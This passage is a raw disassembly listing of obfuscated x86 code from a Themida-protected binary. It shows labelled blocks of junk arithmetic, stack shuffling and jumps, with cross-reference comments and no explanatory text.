; ---------------------------------------------------------------------------
loc_566FC0: ; CODE XREF: Themida_:0056A4EFj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 2
mov [esp], dx
jmp loc_55E8C3
; ---------------------------------------------------------------------------
push 691Ch
mov [esp], edx
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_566FEB: ; CODE XREF: Themida_:0056F94Bj
xor esi, 71620C1Ch
mov ebx, esi
jmp loc_563B34
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_570507
; ---------------------------------------------------------------------------
lodsd
push edx
jmp loc_56886F
; ---------------------------------------------------------------------------
loc_56700B: ; CODE XREF: Themida_:0056D6C0j
xor esi, 2E3C7FCCh
add edi, esi
jmp loc_56F924
; ---------------------------------------------------------------------------
loc_567018: ; CODE XREF: Themida_:0055F003j
push 46657CB2h
pop esi
shl esi, 8
neg esi
jmp loc_568365
; ---------------------------------------------------------------------------
loc_567028: ; CODE XREF: Themida_:005723E2j
push 666Ah
mov [esp], eax
sub esp, 4
mov [esp], ebp
mov ebp, 77503F68h
jmp loc_56A27E
; ---------------------------------------------------------------------------
loc_567040: ; CODE XREF: Themida_:0056B570j
pop ecx
not dh
jmp loc_562FAA
; ---------------------------------------------------------------------------
loc_567048: ; CODE XREF: Themida_:0056FD70j
pop ebp
push dword ptr [esp]
jmp loc_56E82A
; ---------------------------------------------------------------------------
loc_567051: ; CODE XREF: Themida_:00566F21j
push 593Ch
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_56F1C1
; ---------------------------------------------------------------------------
loc_567066: ; CODE XREF: Themida_:00568B55j
shr dword ptr [esp], cl
pushf
jmp loc_571A8F
; ---------------------------------------------------------------------------
loc_56706F: ; CODE XREF: Themida_:00564D8Bj
pop edi
add esi, 9316E2Bh
add esi, 0A0F26A33h
sub ecx, esi
jmp loc_5665A1
; ---------------------------------------------------------------------------
loc_567083: ; CODE XREF: Themida_:0056A28Cj
dec eax
jmp loc_56E95F
; ---------------------------------------------------------------------------
loc_567089: ; CODE XREF: Themida_:00567B57j
mov [esp], ebp
push edi
push esp
jmp loc_56D5D9
; ---------------------------------------------------------------------------
loc_567093: ; CODE XREF: Themida_:0056B849j
xor ebp, 10CA3E34h
push 2E7Bh
mov [esp], ebp
jmp loc_56FEA8
; ---------------------------------------------------------------------------
loc_5670A6: ; CODE XREF: Themida_:00569340j
push 0DC5AEF7Ah
pop eax
jmp loc_55F36E
; ---------------------------------------------------------------------------
loc_5670B1: ; CODE XREF: Themida_:00568A42j
mov [esp], edi
push ebp
push 51D8036Ah
pop ebp
jmp loc_56301A
; ---------------------------------------------------------------------------
loc_5670C0: ; CODE XREF: Themida_:00562D15j
xor ebx, [esp]
jmp loc_5656E4
; ---------------------------------------------------------------------------
loc_5670C8: ; CODE XREF: Themida_:0056017Aj
mov ebp, 13F42C6Fh
jmp loc_570486
; ---------------------------------------------------------------------------
lodsd
jmp loc_5669D6
; ---------------------------------------------------------------------------
loc_5670D8: ; CODE XREF: Themida_:0056B063j
add edi, 9B47638h
push ecx
mov ecx, 0F95312Ch
add edi, ecx
jmp loc_55EC88
; ---------------------------------------------------------------------------
loc_5670EB: ; CODE XREF: Themida_:0056E40Bj
sub ecx, 32130ABBh
pop esi
push edx
jmp loc_5608D2
; ---------------------------------------------------------------------------
loc_5670F8: ; CODE XREF: Themida_:0056EAF1j
sub edi, ebp
pop ebp
jmp loc_56E50E
; ---------------------------------------------------------------------------
loc_567100: ; CODE XREF: Themida_:0056A951j
xor dword ptr [ecx], 2DEC0625h
pop ecx
pop eax
mov edx, [esp]
add esp, 4
jmp loc_567F3E
; ---------------------------------------------------------------------------
loc_567113: ; CODE XREF: Themida_:00571C71j
push 406h
mov [esp], ebx
mov ebx, 6E1EA3h
add ebx, 30A068B7h
shl ebx, 5
jmp loc_5709D3
; ---------------------------------------------------------------------------
loc_56712E: ; CODE XREF: Themida_:00567F91j
mov [esp], ecx
mov ecx, 2E02255Fh
push eax
mov eax, 171B2622h
xor eax, 73A667Eh
add edx, eax
pop eax
sub edx, 75980E7Ch
sub edx, ecx
add edx, 75980E7Ch
sub edx, 1021405Ch
mov ecx, [esp]
jmp loc_568182
; ---------------------------------------------------------------------------
loc_567160: ; CODE XREF: Themida_:00572257j
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56958D
; ---------------------------------------------------------------------------
loc_56716C: ; CODE XREF: Themida_:0056BAD6j
or eax, ecx
pop ecx
xchg eax, edi
not edi
push eax
push edi
mov eax, [esp]
add esp, 4
pop edi
neg eax
push esi
push edi
push eax
mov eax, 0E9F12E9h
jmp loc_56677E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_56C728
; ---------------------------------------------------------------------------
loc_567199: ; CODE XREF: Themida_:0056D27Cj
mov ebx, ecx
mov ebp, ebx
pop ebx
pop ecx
pop ebx
add esi, ebp
mov ebp, [esp]
jmp loc_561365
; ---------------------------------------------------------------------------
loc_5671AA: ; CODE XREF: Themida_:00562C98j
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebx
push ecx
push ebx
mov bh, 10h
and bh, 75h
xor bh, 27h
mov ch, bh
pop ebx
xor ch, 0E9h
or ch, 0A2h
shr ch, 7
shr ch, 4
inc ch
xor ch, 0DEh
mov bl, ch
mov ecx, [esp]
add esp, 4
and bl, 2Dh
push edx
push ecx
mov cl, 0D6h
push eax
jmp loc_55EAB7
; ---------------------------------------------------------------------------
loc_5671E9: ; CODE XREF: Themida_:00571EA4j
pop edx
jmp loc_561E7C
; ---------------------------------------------------------------------------
loc_5671EF: ; CODE XREF: Themida_:0056F05Fj
add esi, edx
mov edx, [esp]
jmp loc_56E1B8
; ---------------------------------------------------------------------------
loc_5671F9: ; CODE XREF: Themida_:0056F16Aj
and edi, 35D94E98h
jmp loc_560E08
; ---------------------------------------------------------------------------
loc_567204: ; CODE XREF: Themida_:0056964Bj
add ecx, edx
pop edx
add ecx, 2F951640h
neg ecx
xor ecx, 14861922h
xor ecx, 92B71EE4h
push ebx
jmp loc_561A8A
; ---------------------------------------------------------------------------
loc_567221: ; CODE XREF: Themida_:0056D2E8j
add edx, ebp
pop ebp
pop ecx
add eax, edx
pop edx
jmp loc_56CCC8
; ---------------------------------------------------------------------------
loc_56722D: ; CODE XREF: Themida_:0056F2CFj
mov esi, 4
add ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_55F868
; ---------------------------------------------------------------------------
loc_567242: ; CODE XREF: Themida_:005703F4j
mov ax, bx
pop bx
sub word ptr [esp+4], 54F2h
add [esp+4], ax
add word ptr [esp+4], 54F2h
jmp loc_56F88F
; ---------------------------------------------------------------------------
loc_56725F: ; CODE XREF: Themida_:0055FF60j
pop ebp
sub ebx, 2CBD1617h
add ebx, ecx
add ebx, 2CBD1617h
sub ebx, 5DDE25FAh
push edx
jmp loc_568D61
; ---------------------------------------------------------------------------
loc_56727A: ; CODE XREF: Themida_:0056DB22j
shr ebp, 2
jmp loc_55FB63
; ---------------------------------------------------------------------------
loc_567282: ; CODE XREF: Themida_:00567F4Dj
mov ebp, 234832BDh
shr ebp, 8
jmp loc_56EC77
; ---------------------------------------------------------------------------
loc_56728F: ; CODE XREF: Themida_:005726C0j
mov ebp, 60D41AC0h
jmp loc_56D1EC
; ---------------------------------------------------------------------------
loc_567299: ; CODE XREF: Themida_:0056D3ECj
mov edx, 10C42D8Eh
jmp loc_56C3C5
; ---------------------------------------------------------------------------
loc_5672A3: ; CODE XREF: Themida_:0056272Aj
add ebx, edi
add ebx, 5DE44D24h
pop edi
push esi
push 2
pop esi
push ecx
mov ecx, 565702FBh
jmp loc_56127F
; ---------------------------------------------------------------------------
loc_5672BE: ; CODE XREF: Themida_:00567CF1j
xor ebp, 3141DE6h
shl ebp, 4
xor ebp, 0D381E6h
mov esi, ebp
jmp loc_57082D
; ---------------------------------------------------------------------------
loc_5672D4: ; CODE XREF: Themida_:0057051Fj
add ebx, 4
add ebx, 4
jmp loc_57093B
; ---------------------------------------------------------------------------
loc_5672E5: ; CODE XREF: Themida_:00571D94j
pop ecx
push eax
mov eax, 0C4A9562Ch
jmp loc_56A6D8
; ---------------------------------------------------------------------------
loc_5672F1: ; CODE XREF: Themida_:0056943Aj
pop esp
jmp loc_55D2ED
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push small 54Dh
jmp loc_55E0F6
; ---------------------------------------------------------------------------
loc_567303: ; CODE XREF: Themida_:0056E017j
pop ecx
mov edx, ecx
pop ecx
shl edx, 3
sub edx, 529B08ACh
add eax, edx
jmp loc_56B0FA
; ---------------------------------------------------------------------------
loc_567317: ; CODE XREF: Themida_:00562303j
push edi
mov edi, 3DC97DD2h
push edx
push ecx
push edx
mov edx, 513F35CCh
mov ecx, edx
jmp loc_56A96B
; ---------------------------------------------------------------------------
loc_56732C: ; CODE XREF: Themida_:005725EFj
mov esi, esp
jmp loc_5688EA
; ---------------------------------------------------------------------------
loc_567333: ; CODE XREF: Themida_:005605B6j
push 3538h
jmp loc_56191B
; ---------------------------------------------------------------------------
loc_56733D: ; CODE XREF: Themida_:0055E0C2j
sub esp, 4
jmp loc_560CCC
; ---------------------------------------------------------------------------
loc_567348: ; CODE XREF: Themida_:00569C85j
pop esi
add esi, 5FBE182Eh
pop ebx
add eax, 6641190Bh
jmp loc_56490F
; ---------------------------------------------------------------------------
mov cx, [esp]
push 597h
mov [esp], eax
push esp
mov eax, [esp]
push edx
jmp loc_56B283
; ---------------------------------------------------------------------------
loc_567370: ; CODE XREF: Themida_:0057211Dj
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56737C: ; CODE XREF: Themida_:0056E509j
add ecx, 33030150h
add ecx, 9786E45h
add ecx, esi
sub ecx, 9786E45h
sub ecx, 33030150h
mov esi, [esp]
add esp, 4
add ecx, 21D3397Dh
add ecx, eax
jmp loc_56AE06
; ---------------------------------------------------------------------------
loc_5673A9: ; CODE XREF: Themida_:0056E3D1j
add esp, 4
jmp loc_56B92B
; ---------------------------------------------------------------------------
loc_5673B1: ; CODE XREF: Themida_:00570EEFj
mov ecx, [esp]
add esp, 4
mov edi, [esp]
push ebx
jmp loc_566AD6
; ---------------------------------------------------------------------------
loc_5673C3: ; CODE XREF: Themida_:0056D1A9j
push ecx
sub esp, 4
mov [esp], esp
push edx
push ebp
mov ebp, 4
mov edx, ebp
pop ebp
add [esp+4], edx
mov edx, [esp]
add esp, 4
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 170B5866h
sub eax, 1BBE3CECh
inc eax
shr eax, 7
push 66B5h
mov [esp], esi
push edi
jmp loc_563734
; ---------------------------------------------------------------------------
loc_567409: ; CODE XREF: Themida_:0056F11Bj
mov [esp], ebp
mov ebp, 585E0EC5h
add ebp, 39D02BE5h
and ebp, 14E1033Dh
neg ebp
xor ebp, 0F7AFA36Eh
not ebp
not ebp
inc ebp
neg ebp
inc ebp
jmp loc_569757
; ---------------------------------------------------------------------------
loc_567432: ; CODE XREF: Themida_:0056B50Dj
mov ecx, 2FF0395Ah
neg ecx
sub ecx, 0DA962B3h
shl ecx, 2
jmp loc_56151D
; ---------------------------------------------------------------------------
loc_567447: ; CODE XREF: Themida_:0056BBC9j
mov [esp], edx
mov edx, 4
push eax
mov eax, 30736A1Dh
shr eax, 7
add eax, 5EFA226Bh
add ebx, eax
jmp loc_55F34B
; ---------------------------------------------------------------------------
loc_567464: ; CODE XREF: Themida_:00567EF3j
push esi
push 12267B33h
mov esi, [esp]
add esp, 4
shr esi, 6
push 2E23h
mov [esp], ebp
push ebx
jmp loc_56D251
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56748C: ; CODE XREF: Themida_:0055EC61j
pop eax
xchg ebp, [esp]
pop esp
dec dword ptr [esp]
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56749A: ; CODE XREF: Themida_:00570CC9j
sub ch, bl
sub ch, 0B2h
pop ebx
shr ch, 3
jmp loc_563442
; ---------------------------------------------------------------------------
loc_5674A8: ; CODE XREF: Themida_:00568916j
pop ebx
xchg eax, [esp]
pop esp
jmp loc_55D5F5
; ---------------------------------------------------------------------------
loc_5674B2: ; CODE XREF: Themida_:00568EC5j
xor ebx, edx
pop edx
and esi, ebx
pop ebx
jmp loc_56C76C
; ---------------------------------------------------------------------------
loc_5674BD: ; CODE XREF: Themida_:00565C66j
shl ebp, 8
not ebp
inc ebp
dec ebp
add ebp, 4F51300Fh
add eax, ebp
jmp loc_55F93E
; ---------------------------------------------------------------------------
loc_5674D1: ; CODE XREF: Themida_:00564547j
mov [esp], edi
sub esp, 4
jmp loc_55ED6E
; ---------------------------------------------------------------------------
loc_5674DC: ; CODE XREF: Themida_:00572679j
add al, bl
jmp loc_56E13C
; ---------------------------------------------------------------------------
loc_5674E3: ; CODE XREF: Themida_:0056509Ej
add ecx, 5A16528Bh
add ecx, edi
push esi
jmp loc_56943F
; ---------------------------------------------------------------------------
loc_5674F1: ; CODE XREF: Themida_:005659C5j
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_571F73
; ---------------------------------------------------------------------------
loc_567500: ; CODE XREF: Themida_:0056927Cj
xor ebx, [esp]
pop esp
test cl, al
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56750C: ; CODE XREF: Themida_:005645C8j
sub edi, esi
jmp loc_571E71
; ---------------------------------------------------------------------------
loc_567513: ; CODE XREF: Themida_:00566AD1j
mov bl, 78h
or dl, bl
pop ebx
shr dl, 6
neg dl
xor dl, 53h
jmp loc_55EE41
; ---------------------------------------------------------------------------
loc_567525: ; CODE XREF: Themida_:0057296Dj
or eax, 0EB82AA7h
add eax, 7CF92CCDh
xor eax, 1BB1CBA8h
jmp loc_55FA6C
; ---------------------------------------------------------------------------
loc_567539: ; CODE XREF: Themida_:0056937Bj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub ebp, 4
xor ebp, [esp]
jmp loc_55EF88
; ---------------------------------------------------------------------------
loc_567559: ; CODE XREF: Themida_:0056487Ej
pop ebp
add [esp+8], edx
sub dword ptr [esp+8], 13D62849h
jmp loc_572A32
; ---------------------------------------------------------------------------
loc_56756B: ; CODE XREF: Themida_:0056F26Fj
mov esp, [esp]
mov [esp], edx
jmp loc_565A77
; ---------------------------------------------------------------------------
loc_567576: ; CODE XREF: Themida_:0056F329j
push esp
pop dword ptr [esp]
jmp loc_567869
; ---------------------------------------------------------------------------
loc_56757F: ; CODE XREF: Themida_:00560965j
xor [edx], ecx
pop edx
inc ecx
sub esp, 4
jmp loc_55EA6A
; ---------------------------------------------------------------------------
loc_56758B: ; CODE XREF: Themida_:00560F43j
pop eax
dec ecx
xor ecx, 95A04BB6h
mov eax, ecx
jmp loc_56D14D
; ---------------------------------------------------------------------------
loc_56759A: ; CODE XREF: Themida_:0055D801j
sub dh, 0FCh
inc dh
sub dh, 30h
sub dh, 3Ch
sub al, dh
mov edx, [esp]
add esp, 4
pop ebx
jmp loc_570F3B
; ---------------------------------------------------------------------------
loc_5675B3: ; CODE XREF: Themida_:00562FE5j
push ebp
mov ebp, 458A7230h
sub edx, ebp
pop ebp
sub edx, 2E8872FCh
shr edx, 6
shl edx, 4
sub edx, 25AD3542h
add edi, edx
pop edx
push eax
sub esp, 4
jmp loc_55FCB5
; ---------------------------------------------------------------------------
loc_5675DA: ; CODE XREF: Themida_:0055E2D2j
sub ebx, 409856ADh
mov edi, [esp]
jmp loc_5719D7
; ---------------------------------------------------------------------------
loc_5675E8: ; CODE XREF: Themida_:00567729j
add esp, 4
pop ebx
add bl, cl
mov cx, [esp]
push esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
jmp loc_56E19D
; ---------------------------------------------------------------------------
loc_567609: ; CODE XREF: Themida_:00562070j
mov al, 9
add al, 0E1h
neg al
or al, 0D1h
jmp loc_56F686
; ---------------------------------------------------------------------------
loc_567616: ; CODE XREF: Themida_:00566339j
sub ebp, 10755E18h
add ebp, ecx
jmp loc_56122A
; ---------------------------------------------------------------------------
loc_567623: ; CODE XREF: Themida_:00565CD3j
xchg edx, [esp]
pop esp
push 1E65h
jmp loc_56BB44
; ---------------------------------------------------------------------------
loc_567631: ; CODE XREF: Themida_:0056CE7Dj
add esp, 4
sub edi, edx
mov edx, [esp]
add esp, 4
dec edi
push ecx
mov ecx, 2F613012h
shr ecx, 7
push edi
mov edi, 369C1B5Ch
add edi, 0C963E4A3h
sub ecx, edi
jmp loc_560724
; ---------------------------------------------------------------------------
loc_567659: ; CODE XREF: Themida_:0056B2EDj
push dword ptr [esp]
push dword ptr [esp]
jmp loc_562FF3
; ---------------------------------------------------------------------------
loc_567664: ; CODE XREF: Themida_:0056EA38j
push ebx
mov bl, 0B0h
push edx
mov dh, 10h
push ecx
push edx
mov dh, 0F3h
push cx
mov ch, 32h
sub dh, ch
pop cx
sub dh, 3Fh
shl dh, 7
sub dh, 11h
mov cl, dh
pop edx
and cl, 46h
shl cl, 6
jmp loc_55DB08
; ---------------------------------------------------------------------------
loc_56768D: ; CODE XREF: Themida_:00570DE2j
mov ecx, esp
add ecx, 4
push ebp
push ecx
mov ecx, 6CC81AA5h
dec ecx
jmp loc_56D2C1
; ---------------------------------------------------------------------------
loc_5676A2: ; CODE XREF: Themida_:0055E729j
push eax
jmp loc_562BCC
; ---------------------------------------------------------------------------
loc_5676A8: ; CODE XREF: Themida_:00560139j
and dl, 81h
push ebx
mov bh, 18h
xor dl, bh
pop ebx
not dl
inc dl
push ax
mov ah, 0C1h
jmp loc_5707F1
; ---------------------------------------------------------------------------
loc_5676BE: ; CODE XREF: Themida_:00563066j
not esi
sub esi, 81E51378h
jmp loc_5715EB
; ---------------------------------------------------------------------------
loc_5676CB: ; CODE XREF: Themida_:0056ADB0j
pop ecx
jmp loc_56D73C
; ---------------------------------------------------------------------------
loc_5676D1: ; CODE XREF: Themida_:0056051Dj
xchg edi, [esp]
jmp loc_567CAF
; ---------------------------------------------------------------------------
loc_5676D9: ; CODE XREF: Themida_:005728D0j
add edi, ecx
add edi, 33ED22B0h
pop ecx
sub edi, 77C20392h
add edi, edx
add edi, 77C20392h
sub edi, 462412CEh
add edi, 65277B6h
pop edx
sub esp, 4
mov [esp], ecx
jmp loc_5724F7
; ---------------------------------------------------------------------------
loc_567708: ; CODE XREF: Themida_:005612D8j
mov [esp], esi
push 126419DEh
mov esi, [esp]
add esp, 4
xor esi, 248BF27h
jmp loc_565214
; ---------------------------------------------------------------------------
loc_567724: ; CODE XREF: Themida_:0056A825j
mov cl, ah
mov eax, [esp]
jmp loc_5675E8
; ---------------------------------------------------------------------------
loc_56772E: ; CODE XREF: Themida_:0056B6B4j
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
mov eax, 26B86373h
jmp loc_56B93D
; ---------------------------------------------------------------------------
loc_567742: ; CODE XREF: Themida_:0056C19Bj
mov dx, [esp]
jmp loc_571A7F
; ---------------------------------------------------------------------------
loc_56774B: ; CODE XREF: Themida_:0057197Aj
pop esi
jmp loc_55F870
; ---------------------------------------------------------------------------
loc_567751: ; CODE XREF: Themida_:0056CC5Aj
pop esp
sub ebx, 17361C63h
sub ebx, 40ED6CF4h
push eax
push edi
mov edi, 3D450550h
sub edi, 0C38AF40Ch
mov eax, edi
pop edi
add eax, 0FFFFFFFFh
xor eax, 5E2A7A11h
sub ebx, eax
pop eax
add ebx, 3BFB5464h
jmp loc_55DC2A
; ---------------------------------------------------------------------------
loc_567786: ; CODE XREF: Themida_:005624CFj
push ecx
mov ch, ah
mov bl, ch
jmp loc_561957
; ---------------------------------------------------------------------------
loc_567790: ; CODE XREF: Themida_:0056AB08j
sub edx, esi
add edx, 2B1D2A93h
jmp loc_561056
; ---------------------------------------------------------------------------
loc_56779D: ; CODE XREF: Themida_:00560ED5j
add [esp+4], esi
sub dword ptr [esp+4], 195D565Dh
add dword ptr [esp+4], 44E7261Ch
push dword ptr [esp]
jmp loc_55FB9E
; ---------------------------------------------------------------------------
mov eax, [esp]
jmp loc_570746
; ---------------------------------------------------------------------------
loc_5677C1: ; CODE XREF: Themida_:0056417Fj
shr edx, 1
cmp eax, edx
jz loc_567F3E
push 6D66h
mov [esp], edx
push 40B0h
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_56CA82
; ---------------------------------------------------------------------------
loc_5677EA: ; CODE XREF: Themida_:0056962Ej
pop esp
push ebp
mov ebp, 12246E1Bh
sub [esp+4], ebp
pop ebp
add dword ptr [esp], 43135E74h
jmp loc_56C673
; ---------------------------------------------------------------------------
loc_567802: ; CODE XREF: Themida_:00561C75j
push esi
mov esi, 7D56DBB9h
add ebx, 23242B4Eh
sub ebx, 1C3500CDh
sub ebx, esi
jmp loc_56ACCE
; ---------------------------------------------------------------------------
loc_56781B: ; CODE XREF: Themida_:005627B0j
mov esi, [esp]
add esp, 4
push eax
mov eax, 347034BCh
sub esi, eax
jmp loc_572091
; ---------------------------------------------------------------------------
loc_56782E: ; CODE XREF: Themida_:00560657j
add edi, 0F4B76BEh
pop edx
sub esp, 4
jmp loc_56C236
; ---------------------------------------------------------------------------
loc_567840: ; CODE XREF: Themida_:005641D2j
mov ebp, 2C943921h
sub ebp, edx
mov edx, [esp]
add esp, 4
and eax, ebp
pop ebp
or edx, eax
shl edx, 1
jmp loc_5619AB
; ---------------------------------------------------------------------------
loc_567859: ; CODE XREF: Themida_:00563A8Fj
mov ecx, 30C377AFh
add ebx, ecx
pop ecx
pop ebp
push edx
push esp
jmp loc_565FE7
; ---------------------------------------------------------------------------
loc_567869: ; CODE XREF: Themida_:0056757Aj
push esi
mov esi, 4
add [esp+4], esi
pop esi
mov edi, [esp]
add esp, 4
push edx
jmp loc_56FBDC
; ---------------------------------------------------------------------------
loc_567880: ; CODE XREF: Themida_:00562372j
add eax, 7B6F127Fh
jmp loc_56F66F
; ---------------------------------------------------------------------------
loc_56788A: ; CODE XREF: Themida_:005717BBj
mov esi, 0F82561Eh
xor eax, esi
jmp loc_560E69
; ---------------------------------------------------------------------------
loc_567896: ; CODE XREF: Themida_:00563EA0j
add esi, edi
jmp loc_56A233
; ---------------------------------------------------------------------------
loc_56789D: ; CODE XREF: Themida_:0056025Cj
sub esp, 4
jmp loc_562631
; ---------------------------------------------------------------------------
loc_5678A5: ; CODE XREF: Themida_:00569A6Dj
add edx, ebx
add edx, 712B5F69h
push ebp
mov ebp, 7A1C0FEDh
sub edx, ebp
pop ebp
push dword ptr [esp]
pop ebx
jmp loc_56946B
; ---------------------------------------------------------------------------
loc_5678BF: ; CODE XREF: Themida_:00570936j
pop ebx
push 1345h
mov [esp], esi
mov esi, 4
add ebp, esi
mov esi, [esp]
jmp loc_566509
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ebp
push esp
push dword ptr [esp]
pop ebp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ebx
mov ebx, 117C01F5h
push ebx
not dword ptr [esp]
mov ebx, [esp]
jmp loc_569DDB
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebp
push 4773h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_55E215
; ---------------------------------------------------------------------------
loc_56792B: ; CODE XREF: Themida_:00563D69j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_567930: ; CODE XREF: Themida_:00560F57j
xor edx, 47EC4197h
shl edx, 2
xor edx, 6F7D5CB8h
sub ecx, edx
pop edx
xchg ecx, [esp]
pop esp
jmp loc_560F77
; ---------------------------------------------------------------------------
loc_56794B: ; CODE XREF: Themida_:005600F5j
not ecx
add ecx, 1C8D7679h
push ebp
mov ebp, 7EF334AFh
add ecx, ebp
pop ebp
add ebx, ecx
jmp loc_57066C
; ---------------------------------------------------------------------------
loc_567963: ; CODE XREF: Themida_:00567E09j
sub esi, 20D0699Bh
add esi, 57ED4C86h
pop edx
dec esi
push 6D47h
mov [esp], edx
mov edx, 0DDA36C15h
xor esi, edx
mov edx, [esp]
add esp, 4
sub eax, esi
jmp loc_560398
; ---------------------------------------------------------------------------
loc_567990: ; CODE XREF: Themida_:0056C3A1j
mov [esp], ebx
push eax
jmp loc_55F486
; ---------------------------------------------------------------------------
loc_567999: ; CODE XREF: Themida_:0056C7F4j
mov [esp], esi
push ebx
push ecx
jmp loc_569490
; ---------------------------------------------------------------------------
loc_5679A3: ; CODE XREF: Themida_:0056A68Bj
add esp, 4
push eax
mov al, dh
mov bl, al
pop eax
jmp loc_562FEA
; ---------------------------------------------------------------------------
loc_5679B1: ; CODE XREF: Themida_:00562E4Aj
push esp
jmp loc_5727AC
; ---------------------------------------------------------------------------
loc_5679B7: ; CODE XREF: Themida_:0055FD6Cj
sub ch, 88h
add al, ch
mov ecx, [esp]
push ebp
push esp
jmp loc_56F8B7
; ---------------------------------------------------------------------------
loc_5679C6: ; CODE XREF: Themida_:0056830Dj
mov ecx, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
push 427Eh
mov [esp], ecx
jmp loc_56164E
; ---------------------------------------------------------------------------
loc_5679E9: ; CODE XREF: Themida_:0056D051j
shl eax, 6
jmp loc_55D985
; ---------------------------------------------------------------------------
loc_5679F1: ; CODE XREF: Themida_:0055DD3Fj
mov [esp], ebp
sub dword ptr [esp], 0FFFFFFFFh
mov ebp, [esp]
add esp, 4
add ebp, 38C76E01h
jmp loc_56F300
; ---------------------------------------------------------------------------
loc_567A0C: ; CODE XREF: Themida_:0056EC61j
mov ebp, 10h
and ebx, ebp
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
push eax
jmp loc_564958
; ---------------------------------------------------------------------------
loc_567A28: ; CODE XREF: Themida_:00561D8Bj
mov [esp], edi
jmp loc_567D30
; ---------------------------------------------------------------------------
loc_567A30: ; CODE XREF: Themida_:0056EDFFj
push ebx
push ebp
mov ebx, [esp]
add esp, 4
pop ebp
jmp loc_566E4C
; ---------------------------------------------------------------------------
loc_567A3E: ; CODE XREF: Themida_:00571743j
push 86E510Fh
mov ebp, [esp]
add esp, 4
jmp loc_5640A2
; ---------------------------------------------------------------------------
loc_567A51: ; CODE XREF: Themida_:0056F687j
mov dh, 24h
neg dh
shl dh, 6
neg dh
jmp loc_56A34C
; ---------------------------------------------------------------------------
loc_567A5F: ; CODE XREF: Themida_:00565E28j
not ebp
xchg ebp, ecx
jmp loc_566D2F
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push eax
sub esp, 4
mov [esp], esp
sub esp, 4
mov [esp], ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
jmp loc_561EA7
; ---------------------------------------------------------------------------
loc_567A8E: ; CODE XREF: Themida_:00572996j
pop ecx
jmp loc_567AB3
; ---------------------------------------------------------------------------
loc_567A94: ; CODE XREF: Themida_:0056F227j
pop esp
sub esp, 4
mov [esp], esi
jmp loc_56B9B6
; ---------------------------------------------------------------------------
loc_567AA3: ; CODE XREF: Themida_:005684B3j
mov edi, 4
add [esp+4], edi
pop edi
pop edx
jmp loc_56461D
; ---------------------------------------------------------------------------
loc_567AB3: ; CODE XREF: Themida_:00567A8Fj
push 19E2h
mov [esp], ebp
push ecx
jmp loc_5691E3
; ---------------------------------------------------------------------------
loc_567AC1: ; CODE XREF: Themida_:00568E1Cj
xor [esp], edx
jmp loc_55FA74
; ---------------------------------------------------------------------------
loc_567AC9: ; CODE XREF: Themida_:00565367j
push edx
push esp
pop edx
add edx, 4
add edx, 4
jmp loc_55F305
; ---------------------------------------------------------------------------
loc_567ADA: ; CODE XREF: Themida_:005713F9j
mov [esp], ecx
mov ecx, 5BE91088h
jmp loc_564663
; ---------------------------------------------------------------------------
loc_567AE7: ; CODE XREF: Themida_:0056E0CCj
sub dword ptr [esp+4], 77162041h
add [esp+4], ebp
jmp loc_563386
; ---------------------------------------------------------------------------
loc_567AF8: ; CODE XREF: Themida_:0056E2C9j
pop eax
jmp loc_564348
; ---------------------------------------------------------------------------
loc_567AFE: ; CODE XREF: Themida_:005650D3j
push edx
push 0D966A85h
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_56D3E0
; ---------------------------------------------------------------------------
loc_567B1B: ; CODE XREF: Themida_:0056CCFFj
mov ebp, 0DDA13930h
xor esi, ebp
jmp loc_5691B8
; ---------------------------------------------------------------------------
loc_567B27: ; CODE XREF: Themida_:00572AF8j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebx
jmp loc_56E429
; ---------------------------------------------------------------------------
loc_567B3F: ; CODE XREF: Themida_:0056231Cj
pop edx
not ebp
jmp loc_566939
; ---------------------------------------------------------------------------
loc_567B47: ; CODE XREF: Themida_:0056F815j
xor eax, [esp]
mov esp, [esp]
mov cx, [esp]
sub esp, 4
jmp loc_567089
; ---------------------------------------------------------------------------
loc_567B5C: ; CODE XREF: Themida_:00569701j
xor ebp, 993A89CCh
or ecx, ebp
jmp loc_56B647
; ---------------------------------------------------------------------------
loc_567B69: ; CODE XREF: Themida_:005693ACj
add esp, 4
push ebx
push esp
jmp loc_56C046
; ---------------------------------------------------------------------------
loc_567B73: ; CODE XREF: Themida_:0056B00Cj
and edx, 540E1308h
sub edx, 7D4E1FA8h
inc edx
xor edx, 6B592ABFh
add edx, 4C642483h
xor edx, 3E71D8EEh
add edi, edx
